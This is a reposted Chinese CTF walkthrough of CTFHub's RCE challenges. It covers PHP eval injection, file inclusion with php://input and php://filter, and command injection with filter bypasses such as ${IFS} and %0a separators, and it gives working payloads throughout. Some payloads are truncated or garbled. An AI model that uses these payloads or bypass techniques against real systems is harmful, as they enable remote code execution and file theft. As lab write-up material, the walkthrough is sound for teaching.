iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTFHub 技能树-- RCE(详解)
  • 234
分享到

CTFHub 技能树-- RCE(详解)

php安全web 2023-10-27 05:10:21 234人浏览 独家记忆
摘要

CTFHub – RCE RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统 eval执行文件 查看一开始的源代码: 无效,要直接使用 得到flag:

CTFHub – RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

eval执行文件

查看一开始的源代码:

PHP    if(isset($_REQUEST['cmd'])){        eval($_REQUEST['cmd']);    }else{        highlight_file(__FILE__);    }?>

php函数意思是:

是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);也就是 木马

__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

所以我们在访问的时候使用变量 cmd

/?cmd=system("ls")  

此处因为根目录无flag 所以看上一级目录

/?cmd=system("ls /")  

然后查找flag:

/?cmd=system("cat /flag_5647")  

文件包含

    error_reporting(0);    if (isset($_GET['file'])) {             if (!strpos($_GET["file"], "flag")) {               include $_GET["file"];           } else {                 echo "Hacker!!!";  }    } else {  highlight_file(__FILE__);}?>       <hr>i have a <a href="shell.txt">shell</a>, how to use it ?

strpos:查找字符串首次出现的位置

strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

所以php函数意思是:

如果get传参的变量中含有flag

就会执行 else 进行警告 Hacker!!!

否则,执行包含起来的文件: $_GET[“file”]
点击下面的
shell.txt

发现由eval漏洞

 eval($_REQUEST['ctfhub']);?>

并且 $_REQUEST['ctfhub']

文件包含漏洞利用的前提条件:
(1)WEB 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;

所以本题存在文件包含漏洞

我们要想办法绕过 hacker(黑客)
到达include

所以我们找个变量指向一个没有 flag 的文件

而题中已经给了提示 shell.txt 同时有 eval漏洞

所以我们可以构造出:
在这里插入图片描述

从而获得flag

PHP://input

一开始给出源代码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZzMXMfJ9-1645357597449)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220104453517.png)]

在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,奈何没有上传点只得作罢,换个思路:

我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来到了,这时候我们添加的 内容是以 post数据流存在的,没有以代码的方式执行

幸运的是 php是一个功能强大的语言

在php伪协议中存在php://input

php://input

作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)

条件:allow_url_fopen=off/on;allow_url_include=on

点击题中的 phpinfor 查看php情况,检查allow_url_include是否为on

在这里插入图片描述

然后,我们可以确定 本题考查就是 php://input

所以我们只要将 get改为 post 像这样:

POST /?file=php://input Http/1.1

然后在后面添加 shell:

 system('ls /');?>

所以我们只要将 get改为 post 像这样:

POST /?file=php://input HTTP/1.1

然后在后面添加 shell:

 system('ls /');?>

在这里插入图片描述

注:在本题使用无效,要直接使用

得到flag:

 system('cat /flag_4627');?>

在这里插入图片描述

在php伪协议中还存在:php://filter

php://filter

  • 条件:allow_url_fopen=off/on;allow_url_include=off/on

  • 作用:用过滤器读写数据流

我们发现以本题的情况来看,php://也是可以使用

我们先了解下 php:filter

参数描述
read用读链的过滤器读数据流
write用写链的过滤器写数据流
resource声明过滤哪一个数据流
不指定读写当不指定读写时会自己根据情况而定

我们可以直接构造:

?file=php://filter/resource=../../../flag

但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的

必须先使用 php://input 获得 flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gyZJ97fv-1645357597455)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112614477.png)]

?file=php://filter/resource=../../../flag_28479

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flIP7L7S-1645357597456)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112522112.png)]

远程包含

引入眼帘的就是这样一句话:

i don’t have shell, how to get flag?

自然而然地我们直接使用 php://input (上一关相同)

在解题的过程中,我们发现 所需要的文件名称 直接就是flag

但 php代码:echo

所以在本关我们可以直接使用 php://filter

?file=php://filter/resorce=../../../flag

读取源代码

题目中直接说 flag in/flag`

所以我们直接使用 php://filter

?file=php://filter/resource=../../../flag

命令注入

我们先了解下命令注入:

命令注入

后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马

Windows系统中命令的链接符号

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能

先输入:

127.0.0.1&ls

在这里插入图片描述

127.0.0.1&cat 32506276723113.php|base64#

在这里插入图片描述

]然后进行 base64 解码

获得flag

在后面的关卡中,就是命令注入的黑名单应用了

过滤cat

在这里插入图片描述

在linux下,不只有cat 可以读取文件内容,more less head tac,都可以对文本进行读取。

当然我们使用的是windows ,但是也能用

127.0.0.1&ls

127.0.0.1; more flag_19336906025702.php | base64 #

过滤空格

在这一关过滤了空格

所以我们的思路就是使用特殊符号过滤空格

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格

127.0.0.1&ls

127.0.0.1;cat

过滤目录分隔符

过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 ; ls /flag_is_here/flag_294042268011398.php,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php

​ cd 进入flag_is_here目录,

​ ls 显示flag_is_here目录里的内容。

所以

127.0.0.1&ls

127.0.0.1;flag_is_here;ls

127.0.0.1;flag_is_here;flag_294042268011398.php |base64#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhQRAoiY-1645357597459)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220180453004.png)]

过滤运算符

在本关过滤掉了 | &

所以

127.0.0.1&ls

127.0.0.1; base64 flag_726327229931.php#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-stIqA1Lb-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220181819791.png)]

综合练习

在本关过过滤了 | & ; / cat flag ctfhub 和空格

  |    &     ;     /    cat    flag    ctfhub  和空格cat 用more 代替空格用 < 代替|   我们可以将 base64写在前面;(命令分隔符)     用%0a代替

注意应为 %0a是url编码所以要在url栏中执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Io7IJSEF-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220182823604.png)]

127.0.0.1%0als

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OKV30goP-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220184315763.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yf2BVhoQ-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220194545445.png)]

来源地址:https://blog.csdn.net/m0_62879498/article/details/123034847

--结束END--

本文标题: CTFHub 技能树-- RCE(详解)

本文链接: https://www.lsjlt.com/news/482652.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作